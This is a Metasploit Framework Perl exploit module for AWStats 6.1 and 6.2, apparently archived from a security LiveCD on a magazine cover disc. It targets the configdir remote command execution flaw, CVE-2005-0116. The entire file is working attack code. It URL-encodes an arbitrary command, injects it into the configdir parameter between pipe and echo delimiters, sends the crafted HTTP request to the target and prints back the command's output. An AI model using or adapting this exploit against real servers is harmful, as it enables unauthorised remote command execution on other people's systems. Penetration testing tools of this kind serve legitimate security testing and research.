home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / awstats_configdir_exec.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  134 lines

  1. ##
  2. # This file is part of the Metasploit Framework and may be redistributed
  3. # according to the licenses defined in the Authors field below. In the
  4. # case of an unknown or missing license, this file defaults to the same
  5. # license as the core Framework (dual GPLv2 and Artistic). The latest
  6. # version of the Framework can always be obtained from metasploit.com.
  7. ##
  8.  
  9. package Msf::Exploit::awstats_configdir_exec;
  10. use base "Msf::Exploit";
  11. use strict;
  12. use Pex::Text;
  13. use bytes;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info = {
  18.     'Name'     => 'AWStats configdir Remote Command Execution',
  19.     'Version'  => '$Revision: 1.4 $',
  20.     'Authors'  => [ 'Matteo Cantoni <goony@nothink.org>' ],
  21.     'Arch'     => [ ],
  22.     'OS'       => [ ],
  23.     'Priv'     => 0,
  24.     'UserOpts' =>
  25.       {
  26.         'RHOST' => [1, 'ADDR', 'The target address'],
  27.         'RPORT' => [1, 'PORT', 'The target port', 80],
  28.         'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
  29.         'DIR'   => [1, 'DATA', 'Directory of awstats.pl script', '/cgi-bin/'],
  30.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  31.       },
  32.  
  33.     'Description' => Pex::Text::Freeform(qq{
  34.         This module exploits an arbitrary command execution vulnerability in the
  35.     AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2 
  36.     are vulnerable.
  37. }),
  38.  
  39.     'Refs' =>
  40.       [
  41.         ['OSVDB', '13002'],
  42.         ['BID', '12298'],
  43.         ['CVE', '2005-0116'],
  44.         ['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'],
  45.         ['MIL', '8'],
  46.       ],
  47.  
  48.     'Payload' =>
  49.       {
  50.         'Space' => 512,
  51.         'Keys'  => ['cmd'],
  52.       },
  53.  
  54.     'Keys' => ['awstats'],
  55.  
  56.     'DisclosureDate' => 'Jan 15 2005',
  57.   };
  58.  
  59. sub new {
  60.     my $class = shift;
  61.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  62.     return($self);
  63. }
  64.  
  65. sub Exploit {
  66.     my $self = shift;
  67.     my $target_host    = $self->VHost;
  68.     my $target_port    = $self->GetVar('RPORT');
  69.     my $dir            = $self->GetVar('DIR');
  70.     my $encodedPayload = $self->GetVar('EncodedPayload');
  71.     my $cmd            = $encodedPayload->RawPayload;
  72.  
  73.     $cmd = Pex::Text::URLEncode($cmd);
  74.     $dir = $dir.'awstats.pl?configdir=|echo;echo%20YYY;'."$cmd".';echo%20YYY;echo|';
  75.  
  76.     my $request =
  77.       "GET $dir HTTP/1.1\r\n".
  78.       "Accept: */*\r\n".
  79.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  80.       "Host: $target_host:$target_port\r\n".
  81.       "Connection: Close\r\n".
  82.       "\r\n";
  83.  
  84.     my $s = Msf::Socket::Tcp->new(
  85.         'PeerAddr' => $target_host,
  86.         'PeerPort' => $target_port,
  87.         'SSL'      => $self->GetVar('SSL'),
  88.       );
  89.  
  90.     if ($s->IsError){
  91.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  92.         return;
  93.     }
  94.  
  95.     $self->PrintLine("[*] Establishing a connection to the target...");
  96.  
  97.     $s->Send($request);
  98.  
  99.     my $results = $s->Recv(-1, 20);
  100.  
  101.     if ($results=~ /^transfer-encoding:[ \t]*chunked\b/im){
  102.  
  103.         (undef, $results) = split(/YYY/, $results);
  104.  
  105.         my @results = split ( /\r\n/, $results );
  106.  
  107.         chomp @results;
  108.  
  109.         for (my $i = 2; $i < @results; $i += 2){
  110.             $self->PrintLine('');
  111.             $self->PrintLine("$results[$i]");
  112.         }
  113.     } else {
  114.         (undef, $results) = split(/YYY/, $results);
  115.  
  116.         my @results = split ( /\r\n/, $results );
  117.  
  118.         chomp @results;
  119.         $self->PrintLine('');
  120.         $self->PrintLine("$results");
  121.     }
  122.  
  123.     $s->Close();
  124.     return;
  125. }
  126.  
  127. sub VHost {
  128.     my $self = shift;
  129.     my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
  130.     return $name;
  131. }
  132.  
  133. 1;
  134.